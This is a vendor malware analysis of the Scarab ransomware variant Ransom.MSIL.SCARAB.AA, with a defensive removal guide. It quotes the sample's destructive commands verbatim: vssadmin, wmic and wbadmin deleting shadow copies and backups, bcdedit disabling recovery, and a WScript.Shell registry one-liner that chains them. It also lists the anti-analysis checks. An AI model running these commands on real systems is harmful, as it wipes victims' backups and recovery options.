Ransom.MSIL.SCARAB.AA

 Analysis by: Mohammed Malubay

 ALIASES:

Trojan:MSIL/CryptInject!MTB(MICROSOFT); HEUR:Trojan-Dropper.MSIL.Dapato.gen(KASPERSKY);

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes then deletes itself afterward.

It drops files as ransom note. It avoids encrypting files with the following file extensions.

  TECHNICAL DETAILS

File Size:

548,200 bytes

File Type:

EXE

Memory Resident:

No

Initial Samples Received Date:

25 Sep 2019

Payload:

Terminates processes, Displays message/message boxes, Encrypts files

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following copies of itself into the affected system and executes them:

  • %Application Data%\svcsv.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • To delete backup:
    • wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
    • wmic SHADOWCOPY DELETE
    • vssadmin Delete Shadows /All /Quiet
    • bcdedit /set {default} recoveryenabled No
    • bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • %Application Data%\svcsv.exe
  • cmd.exe /c start /max notepad.exe "%User Profile%\HOW TO RECOVER ENCRYPTED FILES.TXT"

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It executes then deletes itself afterward.

Autostart Technique

This Ransomware adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\RunOnce
dFfuJscMNnIKrW = %Application Data%\svcsv.exe

Other System Modifications

This Ransomware adds the following registry entries:

HKEY_CURRENT_USER\Software\dFfuJscMNnIKrW
idle = 1

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
iPointSize = 120

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfCharSet = 204

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfWeight = 400

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfItalic = 0

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfUnderline = 0

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfOrientation = 0

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfStrikeOut = 0

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
lfFaceName = Fixedsys

HKEY_CURRENT_USER\Software\OVJIT
UUZRX = "o=new ActiveXObject("WScript.Shell");o.Run("cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0",0);o.Run("cmd.exe /c wmic SHADOWCOPY DELETE",0);o.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet",0);o.Run("cmd.exe /c bcdedit /set {default} recoveryenabled No",0);o.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures",0);""

Process Termination

This Ransomware terminates the following processes if found running in the affected system's memory:

  • taskmgr.exe
  • ccleaner.exe
  • ccleaner64.exe
  • regedit.exe
  • anvir.exe
  • anvir64.exe
  • cscript.exe
  • wscript.exe
  • powershell.exe
  • procexp.exe
  • far.exe
  • agntsvc.exe
  • agntsvc.exeagntsvc.exe
  • agntsvc.exeencsvc.exe
  • agntsvc.exeisqlplussvc.exe
  • dbeng50.exe
  • dbsnmp.exe
  • excel.exe
  • firefoxconfig.exe
  • infopath.exe
  • isqlplussvc.exe
  • msaccess.exe
  • msftesql.exe
  • mspub.exe
  • mydesktopqos.exe
  • mydesktopservice.exe
  • mysqld.exe
  • mysqld-nt.exe
  • mysqld-opt.exe
  • ncsvc.exe
  • ocautoupds.exe
  • ocomm.exe
  • ocssd.exe
  • onenote.exe
  • oracle.exe
  • outlook.exe
  • powerpnt.exe
  • sqbcoreservice.exe
  • sqlagent.exe
  • sqlbrowser.exe
  • sqlserver.exe
  • sqlservr.exe
  • sqlwriter.exe
  • steam.exe
  • synctime.exe
  • tbirdconfig.exe
  • thebat.exe
  • thebat64.exe
  • thunderbird.exe
  • visio.exe
  • winword.exe
  • wordpad.exe
  • xfssvccon.exe

Other Details

This Ransomware adds the following registry keys:

HKEY_CURRENT_USER\Software\dFfuJscMNnIKrW

HKEY_CURRENT_USER\Software\OVJIT

It does the following:

  • It encrypts all local and network drives
  • Terminates itself if system's Country Locale is from one of the following countries:
    • Russia
    • Belarus
    • Ukraine
  • If condition {a} is not true:
    • It drops the following files:
      • %User Temp%\$TMP$001.exe → detected as Ransom_Blocker.R002C0DF519
      • %Application Data%\winupas.exe → detected as Ransom_Blocker.R002C0DF519
    • It adds the following processes:
      • "%Application Data%\Roaming\winupas.exe" x
    • It adds the following registry entries:
      • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
        • Windows Update Assistant = "%Application Data%\winupas.exe" x
    • Where {a}:
      • If the machine is running in the following VM:
        • Anubis VM
        • VBox
        • Virtual PC
        • VirtualBox
        • VMWare
      • If the following analysis tools are found running:
        • vboxservice.exe
        • vmtoolssd.exe
        • wireshark.exe
        • ollydbg.exe
      • If the folder "%System Root%\insidetm" exists
      • If "%System Root%\sample.exe" exists
  • It renames filenames of encrypted files.

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Ransomware Routine

This Ransomware avoids encrypting files found in the following folders:

  • $RECYCLE.BIN
  • All Users
  • AppData
  • Application Data
  • intel
  • nvidia
  • System Volume Information
  • Trend Micro
  • Windows

It appends the following extension to the file name of the encrypted files:

  • {encrypted file name}.zxcvbn

It drops the following file(s) as ransom note:

  • %User Profile%\HOW TO RECOVER ENCRYPTED FILES.TXT
  • %Desktop%\HOW TO RECOVER ENCRYPTED FILES.TXT
  • {Encrypted Directory}\HOW TO RECOVER ENCRYPTED FILES.TXT

It avoids encrypting files with the following file extensions:

  • .adame
  • .bomber
  • .zxcvbn

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.908.01

FIRST VSAPI PATTERN DATE:

02 Jun 2020

VSAPI OPR PATTERN File:

15.909.00

VSAPI OPR PATTERN Date:

03 Jun 2020

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
  • Troj.Win32.TRX.XXPE50FFF035

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • dFfuJscMNnIKrW = %Application Data%\svcsv.exe
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • Windows Update Assistant = "%Application Data%\winupas.exe" x
  • In HKEY_CURRENT_USER\Software\dFfuJscMNnIKrW
    • idle = 1
  • In HKEY_CURRENT_USER\Software\Microsoft\Notepad
    • iPointSize = 120
  • In HKEY_CURRENT_USER\Software\Microsoft\Notepad
    • lfCharSet = 204
  • In HKEY_CURRENT_USER\Software\Microsoft\Notepad
    • lfWeight = 400
  • In HKEY_CURRENT_USER\Software\Microsoft\Notepad
    • lfItalic = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\Notepad
    • lfUnderline = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\Notepad
    • lfOrientation = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\Notepad
    • lfStrikeOut = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\Notepad
    • lfFaceName = Fixedsys
  • In HKEY_CURRENT_USER\Software\OVJIT
    • UUZRX = "o=new ActiveXObject("WScript.Shell");o.Run("cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0",0);o.Run("cmd.exe /c wmic SHADOWCOPY DELETE",0);o.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet",0);o.Run("cmd.exe /c bcdedit /set {default} recoveryenabled No",0);o.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures",0);""

Step 6

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\dFfuJscMNnIKrW
    • (null)
  • In HKEY_CURRENT_USER\Software\OVJIT
    • (null)

Step 7

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\$TMP$001.exe
  • %Application Data%\winupas.exe
  • %Application Data%\svcsv.exe
  • %User Profile%\HOW TO RECOVER ENCRYPTED FILES.TXT
  • %Desktop%\HOW TO RECOVER ENCRYPTED FILES.TXT
  • {Encrypted Directory}\HOW TO RECOVER ENCRYPTED FILES.TXT

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Ransom.MSIL.SCARAB.AA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 9

Restore encrypted files from backup.


Did this description help? Tell us how we did.